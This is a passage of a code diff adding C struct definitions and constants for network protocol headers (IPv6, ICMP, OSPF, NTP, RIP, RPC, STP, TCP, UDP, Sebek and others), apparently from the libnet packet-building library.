+#endif
+#ifndef IPOPT_SECURITY
+#define IPOPT_SECURITY 130 /* provide s,c,h,tcc */
+#endif
+#ifndef IPOPT_LSRR
+#define IPOPT_LSRR 131 /* loose source route */
+#endif
+#ifndef IPOPT_SATID
+#define IPOPT_SATID 136 /* satnet id */
+#endif
+#ifndef IPOPT_SSRR
+#define IPOPT_SSRR 137 /* strict source route */
+#endif
+
+struct libnet_in6_addr
+{
+ union
+ {
+ u_int8_t __u6_addr8[16];
+ u_int16_t __u6_addr16[8];
+ u_int32_t __u6_addr32[4];
+ } __u6_addr; /* 128-bit IP6 address */
+};
+#define libnet_s6_addr __u6_addr.__u6_addr8
+
+/*
+ * IPv6 header
+ * Internet Protocol, version 6
+ * Static header size: 40 bytes
+ */
+struct libnet_ipv6_hdr
+{
+ u_int8_t ip_flags[4]; /* version, traffic class, flow label */
+ u_int16_t ip_len; /* total length */
+ u_int8_t ip_nh; /* next header */
+ u_int8_t ip_hl; /* hop limit */
+ struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */
+
+};
+
+/*
+ * IPv6 frag header
+ * Internet Protocol, version 6
+ * Static header size: 8 bytes
+ */
+#define LIBNET_IPV6_NH_FRAGMENT 44
+struct libnet_ipv6_frag_hdr
+{
+ u_int8_t ip_nh; /* next header */
+ u_int8_t ip_reserved; /* reserved */
+ u_int16_t ip_frag; /* fragmentation stuff */
+ u_int32_t ip_id; /* id */
+};
+
+/*
+ * IPv6 routing header
+ * Internet Protocol, version 6
+ * Base header size: 4 bytes
+ */
+#define LIBNET_IPV6_NH_ROUTING 43
+struct libnet_ipv6_routing_hdr
+{
+ u_int8_t ip_nh; /* next header */
+ u_int8_t ip_len; /* length of header in 8 octet units (sans 1st) */
+ u_int8_t ip_rtype; /* routing type */
+ u_int8_t ip_segments; /* segments left */
+ /* routing information allocated dynamically */
+};
+
+/*
+ * IPv6 destination options header
+ * Internet Protocol, version 6
+ * Base header size: 2 bytes
+ */
+#define LIBNET_IPV6_NH_DESTOPTS 60
+struct libnet_ipv6_destopts_hdr
+{
+ u_int8_t ip_nh; /* next header */
+ u_int8_t ip_len; /* length of header in 8 octet units (sans 1st) */
+ /* destination options information allocated dynamically */
+};
+
+/*
+ * IPv6 hop by hop options header
+ * Internet Protocol, version 6
+ * Base header size: 2 bytes
+ */
+#define LIBNET_IPV6_NH_HBH 0
+struct libnet_ipv6_hbhopts_hdr
+{
+ u_int8_t ip_nh; /* next header */
+ u_int8_t ip_len; /* length of header in 8 octet units (sans 1st) */
+ /* destination options information allocated dynamically */
+};
+
+/*
+ * ICMP6 header
+ * Internet Control Message Protocol v6
+ * Base header size: 8 bytes
+ */
+#ifndef IPPROTO_ICMP6
+#define IPPROTO_ICMP6 0x3a
+#endif
+struct libnet_icmpv6_hdr
+{
+ u_int8_t icmp_type; /* ICMP type */
+#ifndef ICMP6_ECHO
+#define ICMP6_ECHO 128
+#endif
+#ifndef ICMP6_ECHOREPLY
+#define ICMP6_ECHOREPLY 129
+#endif
+#ifndef ICMP6_UNREACH
+#define ICMP6_UNREACH 1
+#endif
+#ifndef ICMP6_PKTTOOBIG
+#define ICMP6_PKTTOOBIG 2
+#endif
+#ifndef ICMP6_TIMXCEED
+#define ICMP6_TIMXCEED 3
+#endif
+#ifndef ICMP6_PARAMPROB
+#define ICMP6_PARAMPROB 4
+#endif
+ u_int8_t icmp_code; /* ICMP code */
+ u_int16_t icmp_sum; /* ICMP Checksum */
+ u_int16_t id; /* ICMP id */
+ u_int16_t seq; /* ICMP sequence number */
+};
+
+
+
+/*
+ * ICMP header
+ * Internet Control Message Protocol
+ * Base header size: 4 bytes
+ */
+struct libnet_icmpv4_hdr
+{
+ u_int8_t icmp_type; /* ICMP type */
+#ifndef ICMP_ECHOREPLY
+#define ICMP_ECHOREPLY 0
+#endif
+#ifndef ICMP_UNREACH
+#define ICMP_UNREACH 3
+#endif
+#ifndef ICMP_SOURCEQUENCH
+#define ICMP_SOURCEQUENCH 4
+#endif
+#ifndef ICMP_REDIRECT
+#define ICMP_REDIRECT 5
+#endif
+#ifndef ICMP_ECHO
+#define ICMP_ECHO 8
+#endif
+#ifndef ICMP_ROUTERADVERT
+#define ICMP_ROUTERADVERT 9
+#endif
+#ifndef ICMP_ROUTERSOLICIT
+#define ICMP_ROUTERSOLICIT 10
+#endif
+#ifndef ICMP_TIMXCEED
+#define ICMP_TIMXCEED 11
+#endif
+#ifndef ICMP_PARAMPROB
+#define ICMP_PARAMPROB 12
+#endif
+#ifndef ICMP_TSTAMP
+#define ICMP_TSTAMP 13
+#endif
+#ifndef ICMP_TSTAMPREPLY
+#define ICMP_TSTAMPREPLY 14
+#endif
+#ifndef ICMP_IREQ
+#define ICMP_IREQ 15
+#endif
+#ifndef ICMP_IREQREPLY
+#define ICMP_IREQREPLY 16
+#endif
+#ifndef ICMP_MASKREQ
+#define ICMP_MASKREQ 17
+#endif
+#ifndef ICMP_MASKREPLY
+#define ICMP_MASKREPLY 18
+#endif
+ u_int8_t icmp_code; /* ICMP code */
+#ifndef ICMP_UNREACH_NET
+#define ICMP_UNREACH_NET 0
+#endif
+#ifndef ICMP_UNREACH_HOST
+#define ICMP_UNREACH_HOST 1
+#endif
+#ifndef ICMP_UNREACH_PROTOCOL
+#define ICMP_UNREACH_PROTOCOL 2
+#endif
+#ifndef ICMP_UNREACH_PORT
+#define ICMP_UNREACH_PORT 3
+#endif
+#ifndef ICMP_UNREACH_NEEDFRAG
+#define ICMP_UNREACH_NEEDFRAG 4
+#endif
+#ifndef ICMP_UNREACH_SRCFAIL
+#define ICMP_UNREACH_SRCFAIL 5
+#endif
+#ifndef ICMP_UNREACH_NET_UNKNOWN
+#define ICMP_UNREACH_NET_UNKNOWN 6
+#endif
+#ifndef ICMP_UNREACH_HOST_UNKNOWN
+#define ICMP_UNREACH_HOST_UNKNOWN 7
+#endif
+#ifndef ICMP_UNREACH_ISOLATED
+#define ICMP_UNREACH_ISOLATED 8
+#endif
+#ifndef ICMP_UNREACH_NET_PROHIB
+#define ICMP_UNREACH_NET_PROHIB 9
+#endif
+#ifndef ICMP_UNREACH_HOST_PROHIB
+#define ICMP_UNREACH_HOST_PROHIB 10
+#endif
+#ifndef ICMP_UNREACH_TOSNET
+#define ICMP_UNREACH_TOSNET 11
+#endif
+#ifndef ICMP_UNREACH_TOSHOST
+#define ICMP_UNREACH_TOSHOST 12
+#endif
+#ifndef ICMP_UNREACH_FILTER_PROHIB
+#define ICMP_UNREACH_FILTER_PROHIB 13
+#endif
+#ifndef ICMP_UNREACH_HOST_PRECEDENCE
+#define ICMP_UNREACH_HOST_PRECEDENCE 14
+#endif
+#ifndef ICMP_UNREACH_PRECEDENCE_CUTOFF
+#define ICMP_UNREACH_PRECEDENCE_CUTOFF 15
+#endif
+#ifndef ICMP_REDIRECT_NET
+#define ICMP_REDIRECT_NET 0
+#endif
+#ifndef ICMP_REDIRECT_HOST
+#define ICMP_REDIRECT_HOST 1
+#endif
+#ifndef ICMP_REDIRECT_TOSNET
+#define ICMP_REDIRECT_TOSNET 2
+#endif
+#ifndef ICMP_REDIRECT_TOSHOST
+#define ICMP_REDIRECT_TOSHOST 3
+#endif
+#ifndef ICMP_TIMXCEED_INTRANS
+#define ICMP_TIMXCEED_INTRANS 0
+#endif
+#ifndef ICMP_TIMXCEED_REASS
+#define ICMP_TIMXCEED_REASS 1
+#endif
+#ifndef ICMP_PARAMPROB_OPTABSENT
+#define ICMP_PARAMPROB_OPTABSENT 1
+#endif
+
+ u_int16_t icmp_sum; /* ICMP Checksum */
+
+ union
+ {
+ struct
+ {
+ u_int16_t id; /* ICMP id */
+ u_int16_t seq;/* ICMP sequence number */
+ } echo;
+
+#undef icmp_id
+#undef icmp_seq
+#define icmp_id hun.echo.id
+#define icmp_seq hun.echo.seq
+
+ u_int32_t gateway; /* gateway host */
+ struct
+ {
+ u_int16_t pad;/* padding */
+ u_int16_t mtu;/* MTU size */
+ } frag;
+ } hun;
+ union
+ {
+ struct
+ {
+ n_time its_otime;
+ n_time its_rtime;
+ n_time its_ttime;
+ } ts;
+ struct
+ {
+ struct libnet_ipv4_hdr idi_ip;
+ /* options and then 64 bits of data */
+ } ip;
+ u_int32_t mask;
+ int8_t data[1];
+
+#undef icmp_mask
+#define icmp_mask dun.mask
+#undef icmp_data
+#define icmp_data dun.data
+
+#undef icmp_otime
+#define icmp_otime dun.ts.its_otime
+#undef icmp_rtime
+#define icmp_rtime dun.ts.its_rtime
+#undef icmp_ttime
+#define icmp_ttime dun.ts.its_ttime
+ }dun;
+};
+
+
+/*
+ * IGMP header
+ * Internet Group Message Protocol
+ * Static header size: 8 bytes
+ */
+struct libnet_igmp_hdr
+{
+ u_int8_t igmp_type; /* IGMP type */
+#ifndef IGMP_MEMBERSHIP_QUERY
+#define IGMP_MEMBERSHIP_QUERY 0x11 /* membership query */
+#endif
+#ifndef IGMP_V1_MEMBERSHIP_REPORT
+#define IGMP_V1_MEMBERSHIP_REPORT 0x12 /* Ver. 1 membership report */
+#endif
+#ifndef IGMP_V2_MEMBERSHIP_REPORT
+#define IGMP_V2_MEMBERSHIP_REPORT 0x16 /* Ver. 2 membership report */
+#endif
+#ifndef IGMP_LEAVE_GROUP
+#define IGMP_LEAVE_GROUP 0x17 /* Leave-group message */
+#endif
+ u_int8_t igmp_code; /* IGMP code */
+ u_int16_t igmp_sum; /* IGMP checksum */
+ struct in_addr igmp_group;/* IGMP host IP */
+};
+
+
+/*
+ * IPSEC header
+ * Internet Protocol Security Protocol
+ * Encapsulating Security Payload Header Static header size: 12 bytes
+ * Encapsulating Security Payload Footer Base header size: 2 bytes
+ * Authentication Header Static Size: 16 bytes
+ */
+#ifndef IPPROTO_ESP
+#define IPPROTO_ESP 50 /* not everyone's got this */
+#endif
+struct libnet_esp_hdr
+{
+ u_int32_t esp_spi; /* security parameter index */
+ u_int32_t esp_seq; /* ESP sequence number */
+ u_int32_t esp_iv; /* initialization vector */
+};
+
+struct libnet_esp_ftr
+{
+ u_int8_t esp_pad_len; /* padding length */
+ u_int8_t esp_nh; /* next header pointer */
+ int8_t *esp_auth; /* authentication data */
+};
+
+#ifndef IPPROTO_AH
+#define IPPROTO_AH 51 /* not everyone's got this */
+#endif
+struct libnet_ah_hdr
+{
+ u_int8_t ah_nh; /* next header */
+ u_int8_t ah_len; /* payload length */
+ u_int16_t ah_res; /* reserved */
+ u_int32_t ah_spi; /* security parameter index */
+ u_int32_t ah_seq; /* AH sequence number */
+ u_int32_t ah_auth; /* authentication data */
+};
+
+
+/*
+ * ISL header
+ * Cisco Inter-Switch Link
+ * Static header size: 26 bytes
+ */
+/*
+ * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001.
+ * Let's hope this one stays that way for a while!
+ */
+#define LIBNET_PROTO_ISL 201
+struct libnet_isl_hdr
+{
+ u_int8_t isl_dhost[5]; /* destination address "01:00:0c:00:00" */
+#if (LIBNET_LIL_ENDIAN)
+ u_int8_t isl_type:4, /* type of frame */
+ isl_user:4; /* user defined bits */
+#endif
+#if (LIBNET_BIG_ENDIAN)
+ u_int8_t isl_user:4, /* user defined bits */
+ isl_type:4; /* type of frame */
+#endif
+ u_int8_t isl_shost[6]; /* source address */
+ u_int16_t isl_len; /* total length of packet - 18 bytes */
+ u_int8_t isl_snap[6]; /* 0xaaaa03 + vendor code */
+ u_int16_t isl_vid; /* 15 bit VLAN ID, 1 bit BPDU / CDP indicator */
+ u_int16_t isl_index; /* port index */
+ u_int16_t isl_reserved; /* used for FDDI and token ring */
+ /* ethernet frame and 4 byte isl crc */
+};
+
+#ifndef IPPROTO_OSPF
+#define IPPROTO_OSPF 89 /* not everyone's got this */
+#endif
+#define IPPROTO_OSPF_LSA 890 /* made this up. Hope it's unused */
+#define LIBNET_MODX 4102 /* used in LSA checksum */
+
+/*
+ * Options used in multiple OSPF packets
+ * More info can be found in section A.2 of RFC 2328.
+ */
+#define LIBNET_OPT_EBIT 0x02 /* describes the way AS-external-LSAs are flooded */
+#define LIBNET_OPT_MCBIT 0x04 /* whether or not IP multicast dgrams are fwdd */
+#define LIBNET_OPT_NPBIT 0x08 /* describes handling of type-7 LSAs */
+#define LIBNET_OPT_EABIT 0x10 /* rtr's willingness to send/recv EA-LSAs */
+#define LIBNET_OPT_DCBIT 0x20 /* describes handling of demand circuits */
+
+
+/*
+ * MPLS header
+ * Multi-Protocol Label Switching
+ * Static header size: 4 bytes
+ */
+struct libnet_mpls_hdr
+{
+ u_int32_t mpls_les; /* 20 bits label, 3 bits exp, 1 bit bos, ttl */
+#define LIBNET_MPLS_BOS_ON 1
+#define LIBNET_MPLS_BOS_OFF 0
+};
+
+/*
+ * NTP header
+ * Network Time Protocol
+ * Static header size: 48 bytes
+ */
+struct libnet_ntp_hdr_l_fp /* int32_t floating point (64-bit) */
+{
+ u_int32_t integer; /* integer */
+ u_int32_t fraction; /* fraction */
+};
+
+struct libnet_ntp_hdr_s_fp /* int16_t floating point (32-bit) */
+{
+ u_int16_t integer; /* integer */
+ u_int16_t fraction; /* fraction */
+};
+
+
+struct libnet_ntp_hdr
+{
+ u_int8_t ntp_li_vn_mode; /* leap indicator, version, mode */
+#define LIBNET_NTP_LI_NW 0x0 /* no warning */
+#define LIBNET_NTP_LI_AS 0x1 /* last minute has 61 seconds */
+#define LIBNET_NTP_LI_DS 0x2 /* last minute has 59 seconds */
+#define LIBNET_NTP_LI_AC 0x3 /* alarm condition */
+
+#define LIBNET_NTP_VN_2 0x2 /* version 2 */
+#define LIBNET_NTP_VN_3 0x3 /* version 3 */
+#define LIBNET_NTP_VN_4 0x4 /* version 4 */
+
+#define LIBNET_NTP_MODE_R 0x0 /* reserved */
+#define LIBNET_NTP_MODE_A 0x1 /* symmetric active */
+#define LIBNET_NTP_MODE_P 0x2 /* symmetric passive */
+#define LIBNET_NTP_MODE_C 0x3 /* client */
+#define LIBNET_NTP_MODE_S 0x4 /* server */
+#define LIBNET_NTP_MODE_B 0x5 /* broadcast */
+#define LIBNET_NTP_MODE_RC 0x6 /* reserved for NTP control message */
+#define LIBNET_NTP_MODE_RP 0x7 /* reserved for private use */
+ u_int8_t ntp_stratum; /* stratum */
+#define LIBNET_NTP_STRATUM_UNAVAIL 0x0 /* unspecified or unavailable */
+#define LIBNET_NTP_STRATUM_PRIMARY 0x1 /* primary reference (radio clock) */
+ /* 2 - 15 is secondary */
+ /* 16 - 255 is reserved */
+ u_int8_t ntp_poll; /* poll interval (should be 4 - 12) */
+ u_int8_t ntp_precision; /* local clock precision */
+ struct libnet_ntp_hdr_s_fp ntp_delay; /* roundtrip delay */
+ struct libnet_ntp_hdr_s_fp ntp_dispersion; /* nominal error */
+ u_int32_t ntp_reference_id; /* reference source id */
+#define LIBNET_NTP_REF_LOCAL 0x4c4f434c /* uncalibrated local clock */
+#define LIBNET_NTP_REF_PPS 0x50505300 /* atomic / pulse-per-second clock */
+#define LIBNET_NTP_REF_ACTS 0x41435453 /* NIST dialup modem */
+#define LIBNET_NTP_REF_USNO 0x55534e4f /* USNO modem service */
+#define LIBNET_NTP_REF_PTB 0x50544200 /* PTB (German) modem service */
+#define LIBNET_NTP_REF_TDF 0x54444600 /* Allouis (French) radio */
+#define LIBNET_NTP_REF_DCF 0x44434600 /* Mainflingen (German) radio */
+#define LIBNET_NTP_REF_MSF 0x4d534600 /* Rugby (UK) radio */
+#define LIBNET_NTP_REF_WWV 0x57575600 /* Ft Collins (US) radio */
+#define LIBNET_NTP_REF_WWVB 0x57575642 /* Boulder (US) radio */
+#define LIBNET_NTP_REF_WWVH 0x57575648 /* Kaui Hawaii (US) radio */
+#define LIBNET_NTP_REF_CHU 0x43485500 /* Ottaha (Canada) radio */
+#define LIBNET_NTP_REF_LORC 0x4c4f5243 /* LORAN-C radionavigation */
+#define LIBNET_NTP_REF_OMEG 0x4f4d4547 /* OMEGA radionavigation */
+#define LIBNET_NTP_REF_GPS 0x47505300 /* global positioning system */
+#define LIBNET_NTP_REF_GOES 0x474f4553 /* geostationary orbit env satellite */
+ struct libnet_ntp_hdr_l_fp ntp_ref_ts; /* reference timestamp */
+ struct libnet_ntp_hdr_l_fp ntp_orig_ts; /* originate timestamp */
+ struct libnet_ntp_hdr_l_fp ntp_rec_ts; /* receive timestamp */
+ struct libnet_ntp_hdr_l_fp ntp_xmt_ts; /* transmit timestamp */
+};
+
+
+/*
+ * OSPFv2 header
+ * Open Shortest Path First
+ * Static header size: 16 bytes
+ */
+struct libnet_ospf_hdr
+{
+ u_int8_t ospf_v; /* version */
+#define OSPFVERSION 2
+ u_int8_t ospf_type; /* type */
+#define LIBNET_OSPF_UMD 0 /* UMd monitoring packet */
+#define LIBNET_OSPF_HELLO 1 /* HELLO packet */
+#define LIBNET_OSPF_DBD 2 /* dataBase description packet */
+#define LIBNET_OSPF_LSR 3 /* link state request packet */
+#define LIBNET_OSPF_LSU 4 /* link state Update Packet */
+#define LIBNET_OSPF_LSA 5 /* link state acknowledgement packet */
+ u_int16_t ospf_len; /* length */
+ struct in_addr ospf_rtr_id; /* source router ID */
+ struct in_addr ospf_area_id;/* roam ID */
+ u_int16_t ospf_sum; /* checksum */
+ u_int16_t ospf_auth_type; /* authentication type */
+#define LIBNET_OSPF_AUTH_NULL 0 /* null password */
+#define LIBNET_OSPF_AUTH_SIMPLE 1 /* simple, plaintext, 8 int8_t password */
+#define LIBNET_OSPF_AUTH_MD5 2 /* MD5 */
+};
+
+
+/*
+ * OSPF authentication header
+ * Open Shortest Path First
+ * Static header size: 8 bytes
+ */
+struct libnet_auth_hdr
+{
+ u_int16_t ospf_auth_null; /* NULL */
+ u_int8_t ospf_auth_keyid; /* authentication key ID */
+ u_int8_t ospf_auth_len; /* auth data length */
+ u_int ospf_auth_seq; /* cryptographic sequence number */
+};
+
+
+/*
+ * OSPF hello header
+ * Open Shortest Path First
+ * Static header size: 28 bytes
+ */
+struct libnet_ospf_hello_hdr
+{
+ struct in_addr hello_nmask; /* netmask associated with the interface */
+ u_int16_t hello_intrvl; /* num of seconds between routers last packet */
+ u_int8_t hello_opts; /* Options for HELLO packets (look above) */
+ u_int8_t hello_rtr_pri; /* router's priority (if 0, can't be backup) */
+ u_int hello_dead_intvl; /* # of secs a router is silent till deemed down */
+ struct in_addr hello_des_rtr; /* Designated router on the network */
+ struct in_addr hello_bkup_rtr; /* Backup router */
+ struct in_addr hello_nbr; /* neighbor router, memcpy more as needed */
+};
+
+
+/*
+ * Database Description header.
+ */
+struct libnet_dbd_hdr
+{
+ u_int16_t dbd_mtu_len; /* max length of IP dgram that this 'if' can use */
+ u_int8_t dbd_opts; /* DBD packet options (from above) */
+ u_int8_t dbd_type; /* type of exchange occurring */
+#define LIBNET_DBD_IBI 0x01 /* init */
+#define LIBNET_DBD_MBIT 0x02 /* more DBD packets are to come */
+#define LIBNET_DBD_MSBIT 0x04 /* If 1, sender is the master in the exchange */
+ u_int dbd_seq; /* DBD sequence number */
+};
+
+
+/*
+ * used for the LS type field in all LS* headers
+ */
+#define LIBNET_LS_TYPE_RTR 1 /* router-LSA */
+#define LIBNET_LS_TYPE_NET 2 /* network-LSA */
+#define LIBNET_LS_TYPE_IP 3 /* summary-LSA (IP Network) */
+#define LIBNET_LS_TYPE_ASBR 4 /* summary-LSA (ASBR) */
+#define LIBNET_LS_TYPE_ASEXT 5 /* AS-external-LSA */
+
+
+/*
+ * Link State Request header
+ */
+struct libnet_lsr_hdr
+{
+ u_int lsr_type; /* type of LS being requested */
+ u_int lsr_lsid; /* link state ID */
+ struct in_addr lsr_adrtr; /* advertising router (memcpy more as needed) */
+};
+
+
+/*
+ * Link State Update header
+ */
+struct libnet_lsu_hdr
+{
+ u_int lsu_num; /* number of LSAs that will be broadcasted */
+};
+
+
+/*
+ * Link State Acknowledgement header.
+ */
+struct libnet_lsa_hdr
+{
+ u_int16_t lsa_age; /* time in seconds since the LSA was originated */
+ u_int8_t lsa_opts; /* look above for OPTS_* */
+ u_int8_t lsa_type; /* look below for LS_TYPE_* */
+ u_int lsa_id; /* link State ID */
+ struct in_addr lsa_adv; /* router ID of Advertising router */
+ u_int lsa_seq; /* LSA sequence number to detect old/bad ones */
+ u_int16_t lsa_sum; /* "Fletcher Checksum" of all fields minus age */
+ u_int16_t lsa_len; /* length in bytes including the 20 byte header */
+};
+
+
+/*
+ * Router LSA data format
+ *
+ * Other stuff for TOS can be added for backward compatability, for this
+ * version, only OSPFv2 is being FULLY supported.
+ */
+struct libnet_rtr_lsa_hdr
+{
+ u_int16_t rtr_flags; /* set to help describe packet */
+#define LIBNET_RTR_FLAGS_W 0x0100 /* W bit */
+#define LIBNET_RTR_FLAGS_E 0x0200 /* E bit */
+#define LIBNET_RTR_FLAGS_B 0x0400 /* B bit */
+ u_int16_t rtr_num; /* number of links within that packet */
+ u_int rtr_link_id; /* describes link_data (look below) */
+#define LIBNET_LINK_ID_NBR_ID 1 /* Neighbors router ID, also can be 4 */
+#define LIBNET_LINK_ID_IP_DES 2 /* IP address of designated router */
+#define LIBNET_LINK_ID_SUB 3 /* IP subnet number */
+ u_int rtr_link_data; /* Depending on link_id, info is here */
+ u_int8_t rtr_type; /* Description of router link */
+#define LIBNET_RTR_TYPE_PTP 1 /* Point-To-Point */
+#define LIBNET_RTR_TYPE_TRANS 2 /* Connection to a "transit network" */
+#define LIBNET_RTR_TYPE_STUB 3 /* Connectin to a "stub network" */
+#define RTR_TYPE_VRTL 4 /* connects to a "virtual link" */
+ u_int8_t rtr_tos_num; /* number of different TOS metrics for this link */
+ u_int16_t rtr_metric; /* the "cost" of using this link */
+};
+
+
+/*
+ * Network LSA data format.
+ */
+struct libnet_net_lsa_hdr
+{
+ struct in_addr net_nmask; /* Netmask for that network */
+ u_int net_rtr_id; /* ID of router attached to that network */
+};
+
+
+/*
+ * Summary LSA data format.
+ */
+struct libnet_sum_lsa_hdr
+{
+ struct in_addr sum_nmask; /* Netmask of destination IP address */
+ u_int sum_metric; /* Same as in rtr_lsa (&0xfff to use last 24bit */
+ u_int sum_tos_metric; /* first 8bits are TOS, 24bits are TOS Metric */
+};
+
+
+/*
+ * AS External LSA data format.
+ * & 0xfff logic operator for as_metric to get last 24bits.
+ */
+struct libnet_as_lsa_hdr
+{
+ struct in_addr as_nmask; /* Netmask for advertised destination */
+ u_int as_metric; /* May have to set E bit in first 8bits */
+#define LIBNET_AS_E_BIT_ON 0x80000000 /* as_metric */
+ struct in_addr as_fwd_addr; /* Forwarding address */
+ u_int as_rte_tag; /* External route tag */
+};
+
+
+/*
+ * Base RIP header
+ * Routing Information Protocol
+ * Base header size: 24 bytes
+ */
+struct libnet_rip_hdr
+{
+ u_int8_t rip_cmd; /* RIP command */
+#define RIPCMD_REQUEST 1 /* want info */
+#define RIPCMD_RESPONSE 2 /* responding to request */
+#define RIPCMD_TRACEON 3 /* turn tracing on */
+#define RIPCMD_TRACEOFF 4 /* turn it off */
+#define RIPCMD_POLL 5 /* like request, but anyone answers */
+#define RIPCMD_POLLENTRY 6 /* like poll, but for entire entry */
+#define RIPCMD_MAX 7 /* ? command */
+ u_int8_t rip_ver; /* RIP version */
+#define RIPVER_0 0
+#define RIPVER_1 1
+#define RIPVER_2 2
+ u_int16_t rip_rd; /* Zero (v1) or Routing Domain (v2) */
+ u_int16_t rip_af; /* Address family */
+ u_int16_t rip_rt; /* Zero (v1) or Route Tag (v2) */
+ u_int32_t rip_addr; /* IP address */
+ u_int32_t rip_mask; /* Zero (v1) or Subnet Mask (v2) */
+ u_int32_t rip_next_hop; /* Zero (v1) or Next hop IP address (v2) */
+ u_int32_t rip_metric; /* Metric */
+};
+
+/*
+ * RPC headers
+ * Remote Procedure Call
+ */
+#define LIBNET_RPC_CALL 0
+#define LIBNET_RPC_REPLY 1
+#define LIBNET_RPC_VERS 2
+#define LIBNET_RPC_LAST_FRAG 0x80000000
+
+/*
+ * Portmap defines
+ */
+#define LIBNET_PMAP_PROGRAM 100000
+#define LIBNET_PMAP_PROC_NULL 0
+#define LIBNET_PMAP_PROC_SET 1
+#define LIBNET_PMAP_PROC_UNSET 2
+#define LIBNET_PMAP_PROC_GETADDR 3
+#define LIBNET_PMAP_PROC_DUMP 4
+#define LIBNET_PMAP_PROC_CALLIT 5
+#define LIBNET_PMAP_PROC_BCAST 5 /* Not a typo */
+#define LIBNET_PMAP_PROC_GETTIME 6
+#define LIBNET_PMAP_PROC_UADDR2TADDR 7
+#define LIBNET_PMAP_PROC_TADDR2UADDR 8
+#define LIBNET_PMAP_PROC_GETVERSADDR 9
+#define LIBNET_PMAP_PROC_INDIRECT 10
+#define LIBNET_PMAP_PROC_GETADDRLIST 11
+#define LIBNET_PMAP_PROC_GETSTAT 12
+
+/* There will be more to add... */
+
+struct libnet_rpc_opaque_auth
+{
+ u_int32_t rpc_auth_flavor;
+ u_int32_t rpc_auth_length;
+// u_int8_t *rpc_auth_data;
+};
+
+struct libnet_rpc_call
+{
+ u_int32_t rpc_rpcvers; /* RPC version - must be 2 */
+ u_int32_t rpc_prognum; /* Program Number */
+ u_int32_t rpc_vers; /* Program Version */
+ u_int32_t rpc_procedure; /* RPC procedure */
+ struct libnet_rpc_opaque_auth rpc_credentials;
+ struct libnet_rpc_opaque_auth rpc_verifier;
+};
+
+struct libnet_rpc_call_hdr
+{
+ u_int32_t rpc_xid; /* xid (transaction identifier) */
+ u_int32_t rpc_type;
+ struct libnet_rpc_call rpc_call;
+};
+
+struct libnet_rpc_call_tcp_hdr
+{
+ u_int32_t rpc_record_marking; /* used with byte stream protocols */
+ struct libnet_rpc_call_hdr rpc_common;
+};
+
+/*
+ * STP configuration header
+ * Spanning Tree Protocol
+ * Static header size: 35 bytes
+ */
+struct libnet_stp_conf_hdr
+{
+ u_int16_t stp_id; /* protocol id */
+ u_int8_t stp_version; /* protocol version */
+ u_int8_t stp_bpdu_type; /* bridge protocol data unit type */
+ u_int8_t stp_flags; /* control flags */
+ u_int8_t stp_rootid[8]; /* root id */
+ u_int32_t stp_rootpc; /* root path cost */
+ u_int8_t stp_bridgeid[8]; /* bridge id */
+ u_int16_t stp_portid; /* port id */
+ u_int16_t stp_mage; /* message age */
+ u_int16_t stp_maxage; /* max age */
+ u_int16_t stp_hellot; /* hello time */
+ u_int16_t stp_fdelay; /* forward delay */
+};
+
+
+/*
+ * STP topology change notification header
+ * Spanning Tree Protocol
+ * Static header size: 4 bytes
+ */
+struct libnet_stp_tcn_hdr
+{
+ u_int16_t stp_id; /* protocol id */
+ u_int8_t stp_version; /* protocol version */
+ u_int8_t stp_bpdu_type; /* bridge protocol data unit type */
+};
+
+
+/*
+ * TCP header
+ * Transmission Control Protocol
+ * Static header size: 20 bytes
+ */
+struct libnet_tcp_hdr
+{
+ u_int16_t th_sport; /* source port */
+ u_int16_t th_dport; /* destination port */
+ u_int32_t th_seq; /* sequence number */
+ u_int32_t th_ack; /* acknowledgement number */
+#if (LIBNET_LIL_ENDIAN)
+ u_int8_t th_x2:4, /* (unused) */
+ th_off:4; /* data offset */
+#endif
+#if (LIBNET_BIG_ENDIAN)
+ u_int8_t th_off:4, /* data offset */
+ th_x2:4; /* (unused) */
+#endif
+ u_int8_t th_flags; /* control flags */
+#ifndef TH_FIN
+#define TH_FIN 0x01 /* finished send data */
+#endif
+#ifndef TH_SYN
+#define TH_SYN 0x02 /* synchronize sequence numbers */
+#endif
+#ifndef TH_RST
+#define TH_RST 0x04 /* reset the connection */
+#endif
+#ifndef TH_PUSH
+#define TH_PUSH 0x08 /* push data to the app layer */
+#endif
+#ifndef TH_ACK
+#define TH_ACK 0x10 /* acknowledge */
+#endif
+#ifndef TH_URG
+#define TH_URG 0x20 /* urgent! */
+#endif
+#ifndef TH_ECE
+#define TH_ECE 0x40
+#endif
+#ifndef TH_CWR
+#define TH_CWR 0x80
+#endif
+ u_int16_t th_win; /* window */
+ u_int16_t th_sum; /* checksum */
+ u_int16_t th_urp; /* urgent pointer */
+};
+
+/*
+ * Token Ring Header
+ */
+struct libnet_token_ring_hdr
+{
+ u_int8_t token_ring_access_control;
+#define LIBNET_TOKEN_RING_FRAME 0x10
+ u_int8_t token_ring_frame_control;
+#define LIBNET_TOKEN_RING_LLC_FRAME 0x40
+ u_int8_t token_ring_dhost[TOKEN_RING_ADDR_LEN];
+ u_int8_t token_ring_shost[TOKEN_RING_ADDR_LEN];
+ u_int8_t token_ring_llc_dsap;
+ u_int8_t token_ring_llc_ssap;
+ u_int8_t token_ring_llc_control_field;
+ u_int8_t token_ring_llc_org_code[LIBNET_ORG_CODE_SIZE];
+ u_int16_t token_ring_type;
+#define TOKEN_RING_TYPE_IP 0x0800 /* IP protocol */
+#define TOKEN_RING_TYPE_ARP 0x0806 /* addr. resolution protocol */
+#define TOKEN_RING_TYPE_REVARP 0x8035 /* reverse addr. resolution protocol */
+};
+
+struct libnet_token_ring_addr
+{
+ u_int8_t token_ring_addr_octet[6]; /* Token Ring address */
+};
+
+/*
+ * UDP header
+ * User Data Protocol
+ * Static header size: 8 bytes
+ */
+struct libnet_udp_hdr
+{
+ u_int16_t uh_sport; /* soure port */
+ u_int16_t uh_dport; /* destination port */
+ u_int16_t uh_ulen; /* length */
+ u_int16_t uh_sum; /* checksum */
+};
+
+/*
+ * Sebek header
+ * Static header size: 48 bytes
+ */
+struct libnet_sebek_hdr
+{
+ u_int32_t magic; /* identify packets that should be hidden */
+ u_int16_t version; /* protocol version, currently 1 */
+#define SEBEK_PROTO_VERSION 1
+ u_int16_t type; /* type of record (read data is type 0, write data is type 1) */
+#define SEBEK_TYPE_READ 0 /* Currently, only read is supported */
+#define SEBEK_TYPE_WRITE 1
+ u_int32_t counter; /* PDU counter used to identify when packet are lost */
+ u_int32_t time_sec; /* seconds since EPOCH according to the honeypot */
